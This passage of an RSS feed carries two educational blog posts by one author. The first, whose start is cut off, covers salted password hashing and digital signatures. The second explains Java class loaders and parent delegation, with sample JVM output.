Alice’s password using his dictionary attack, then he can look if there are other hashes within that compromised user store which match with Alice’s hash. Allowing him now to impersonate both Alice and Bob.</p><p><strong>Salted-hash passwords</strong><br>What if you append a randomly generated prefix to the plain text password and then hash the concatenated string? <br>Now you have to store both the <strong>salted hash</strong> and the <strong>salt</strong> in your user store. Next time when the user enters the plain text password and authenticates, your system should first retrieve the <strong>salt </strong>of that particular user and append it to the entered password. Then you hash the full string to see if the store’s salted-hash matches.<br>How this solves the problems with ‘just hashed’ passwords?<br>- Now the attacker’s rainbow tables are of no use. Because the pre-calculated hashes of the dictionary words are no where close to the stored salted hashes (4th characteristic). This would drastically slow down the attack. (Should you store salt and the hashes in the same place?)<br>- Also, as now we don’t store the same hash even for the users who share a common password, discovery of Alice’s credentials won’t impose a threat on that of Bob’s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*DaH61jQvW3CNPkQFjkT1AQ.jpeg" /><figcaption>salted hashing of passwords</figcaption></figure><h4>Checking a message’s integrity</h4><p>Bob sends a message (m) to Alice. Alice wants to confirm that this message has not tampered nor altered in between. Bob needs to digitally sign his message in order for Alice to verify its integrity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*FwwOV75J_JIvVpmtJWFtAg.jpeg" /><figcaption>digitally signing a message</figcaption></figure><p>Bob has a pair of keys. A public key (K pub), which is known and accessible to the general public including Alice and the Attacker. And a private key (K pvt), known only to Bob(If you are not familiar with <a href="https://en.wikipedia.org/wiki/Public_key_infrastructure">PKI</a>, you can encrypt a plain text with either, so that the generated cipher text can only be decrypted with the other). Bob calculates the digest(d) of his message(m). Then he encrypts(sign) the digest with his private key and generates the digital signature(s). This is called digitally signing a document. As only Bob has access to his private key, no one else can forge this sign. Now he embed this signature into his message and send along (m`)to Alice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*Y-Lgrs70UUZxXFmfsDqpGA.jpeg" /><figcaption>Signature verification</figcaption></figure><p>Alice receives the message and wants to verify the integrity of the content. She separates out the message(m) and the signature(s). Using Bob’s public key, she(or anyone else) can decrypt the signature and get the digest(d). Then she calculates the digest of the received message(m) on her own, as the hash function is public. If she gets d in both the cases, then the content has not been altered.<br>- This also proves that it’s Bob who sent this message. As Alice can decrypt a signature using Bob’s public key, only if it has been signed using Bob’s private key at the first place. Which is known only to Bob.<br>- What if there was an attacker who tampered the line and captured the packets on the way. As Bob did not encrypt the message, any party can read the message. And of course they can alter the content of the message. Yet they can’t generate a new digital signature which matches the new digest of the altered message. Because only Bob has access to his signing private key.</p><p>Leave a comment if anything needs to be corrected or added.</p><p>Cheers.</p><h4>References</h4><p>[1] <a href="https://simple.wikipedia.org/wiki/Cryptographic_hash_function">https://simple.wikipedia.org/wiki/Cryptographic_hash_function</a></p><p>[2] <a href="https://blockgeeks.com/guides/cryptographic-hash-functions/">https://blockgeeks.com/guides/cryptographic-hash-functions/</a></p><p>[3] <a href="https://www.coursera.org/lecture/classical-cryptosystems/properties-of-a-cryptographic-hash-function-lBx5e">https://www.coursera.org/lecture/classical-cryptosystems/properties-of-a-cryptographic-hash-function-lBx5e</a></p><p>[4] <a href="https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/">https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a4e7be07fcd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Java Class Loading…]]></title>
            <link>https://medium.com/@nipunthathsara/java-class-loading-df3b91bb0ee8?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/df3b91bb0ee8</guid>
            <category><![CDATA[class-loader]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[jvm]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Wed, 15 Apr 2020 12:47:30 GMT</pubDate>
            <atom:updated>2020-04-15T12:47:30.081Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Loading is the process of finding the binary representation of a class or interface type with a particular name and <em>creating</em> a class or interface from that binary representation.</blockquote><p>Java class loading is basically reading the *.class<em> </em>files<em> </em>from a source directory(directory location in the file system or in a network) and loading them in to the JVM/memory. From an Operating System’s perspective, compiled class file stored in the file system is binary. If JVM is to execute the logic written in byte code, it should first read these files in to the memory.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0863c990fc112c6c2582564b5ba4ba05/href">https://medium.com/media/0863c990fc112c6c2582564b5ba4ba05/href</a></iframe><p>Java class loading happens only on-demand, dynamically. It doesn’t load all the class files in your classpath at the startup. Rather, only when one’s referred. This helps optimizing the memory usage. And once loaded, it will not be unloaded. That improves performance but indeed at the cost of memory. Big application with many classes could ultimately acquire large amount of memory, given that in the long run most of its classes will be utilized.</p><h4>Class Loaders</h4><ol><li>Bootstrap class loader</li><li>Extension class loader</li><li>Application/System class loader</li></ol><h4>Bootstrap(Primordial) Class Loader</h4><p>Resides on top of the chain. Parent of them all. Still, you wouldn’t see that java.lang.ClassLoader is extended by Bootstrap class loader. Because it’s a <em>native </em>class(written in C mostly) in the JVM. Implementation of the this class loader differs as per the underlying O/S’s architecture (It’s the platform dependent JVM which makes the Java byte code ‘compile once, run anywhere’). Given all the other class loaders themselves are Java classes, there has to be a loader to load them at the first place. Bootstrap loader does that.Responsible of loading the core libraries in the $JAVA_HOME/jre/lib/* directory such as rt.jar.</p><pre>nipun@nipunt:/usr/lib/jvm/jdk1.8.0_151/jre/lib$ grep -ir . &quot;ClassLoader.class&quot;<br>Binary file rt.jar matches<br>nipun@nipunt:/usr/lib/jvm/jdk1.8.0_151/jre/lib$ grep -ir . &quot;Launcher.class&quot;<br>Binary file rt.jar matches</pre><h4>Extension Class Loader</h4><p>Is responsible of loading classes from extension directories such as $JAVA_HOME/lib/ext directory<em>. </em>Implemented inside the sun.misc.Launcheras <a href="https://github.com/AdoptOpenJDK/openjdk-jdk8u/blob/master/jdk/src/share/classes/sun/misc/Launcher.java#L122">Launcher$ExtClassLoader</a>. This loader reads the java.ext.dirs system property to get the locations to be queried. Therefore, any directory that is listed inside that mentioned system property will be queried for classes by the ExtClassLoader.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6e8ba9a6d88fd6d356e42addfcee3c14/href">https://medium.com/media/6e8ba9a6d88fd6d356e42addfcee3c14/href</a></iframe><h4>Application/System Class Loader</h4><p>This class loader is used to launch the application. Reads the classes from the application’s class path (java.class.path system property). You can also define it by passing -cp or -classpath arguments to the JVM.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/209e89a9973e1e1ab0d290dda77bb588/href">https://medium.com/media/209e89a9973e1e1ab0d290dda77bb588/href</a></iframe><p>Apart from those class loaders, you can also write your own class loader. May be in another post.</p><h4>Principles of Class Loading</h4><ol><li><strong>Visibility</strong> <strong>:</strong><br>Classes that are loaded by a parent class loader, are visible to child class loaders. Whereas parents can’t see the classes loaded by its child loaders.<br>If class C is loaded by AppClassCloader and C2 by ExtClassLoader, then ExtClassLoader is unaware of C2. But AppClassLoader is aware of both C and C2.</li><li><strong>Uniqueness :<br></strong>A class should not be re-loaded by a child loader, if it’s already been loaded by a parent loader. (But this doesn’t mean that you can’t load the same class twice. With two custom loaders which do not inherit one another might load the same class into two different name spaces.)</li><li><strong>Parent Delegation : </strong><br>Java class loaders have a hierarchy. A child class loader never tries to load the class by itself. It should check if it’s been already loaded. If so, no need of loading again.<br>Otherwise, it delegates the request to its immediate parent. This happens recursively until the request hits the Bootstrap loader. As it’s the parent of them all, now the Bootstrap loader gives a try to load the class. If it couldn’t, it delegates the request to the Extension loader. Likewise, the delegation effort is now propagated down the hierarchy. If, even the bottom most loader is unable to load the class, then we throw a ClassNotFound exception.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*Blf3f6rrPy2uG50GW82xTA.png" /><figcaption><a href="https://stackoverflow.com/questions/30697470/why-jvm-first-request-application-classloader-to-load-a-class-when-eventually-th">Delegation</a></figcaption></figure><p>Below sample is to demonstrate some some class loadings.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6b738fb36535134b143be383196530b8/href">https://medium.com/media/6b738fb36535134b143be383196530b8/href</a></iframe><p>Results of the above snippet would be as follows.</p><pre>Hello World!<br>java.ext.dirs : /usr/lib/jvm/jdk1.8.0_151/jre/lib/ext:/usr/java/packages/lib/ext<br>com.sun.crypto.provider.AESKeyGenerator : sun.misc.Launcher$ExtClassLoader@5cad8086<br>Foo : sun.misc.Launcher$AppClassLoader@18b4aac2<br>String array : null<br>ArrayList : null</pre><p>System argument java.ext.dirs set to jre/lib/ext and usr/packages/lib/ext directories. Therefore, whatever the classes that are there, will be loaded by the Extension Class Loader. Such as AESKeyGenerator. And this application’s Foo class is loaded by the Application Class Loader. Arrays are loaded by Bootstrap Class Loader. That’s why it was printed as null.</p><p>Leave a comment if you find anything should be corrected or added.</p><p>Cheers.</p><h4>References</h4><p><em>[1] </em><a href="https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-5.html"><em>https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-5.html</em></a></p><p><em>[2] </em><a href="https://www.baeldung.com/java-classloaders"><em>https://www.baeldung.com/java-classloaders</em></a></p><p><em>[3] </em><a href="https://github.com/openjdk/jdk"><em>https://github.com/openjdk/jdk</em></a></p><p><em>[4] </em><a href="https://medium.com/platform-engineer/understanding-jvm-architecture-22c0ddf09722"><em>https://medium.com/platform-engineer/understanding-jvm-architecture-22c0ddf09722</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df3b91bb0ee8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>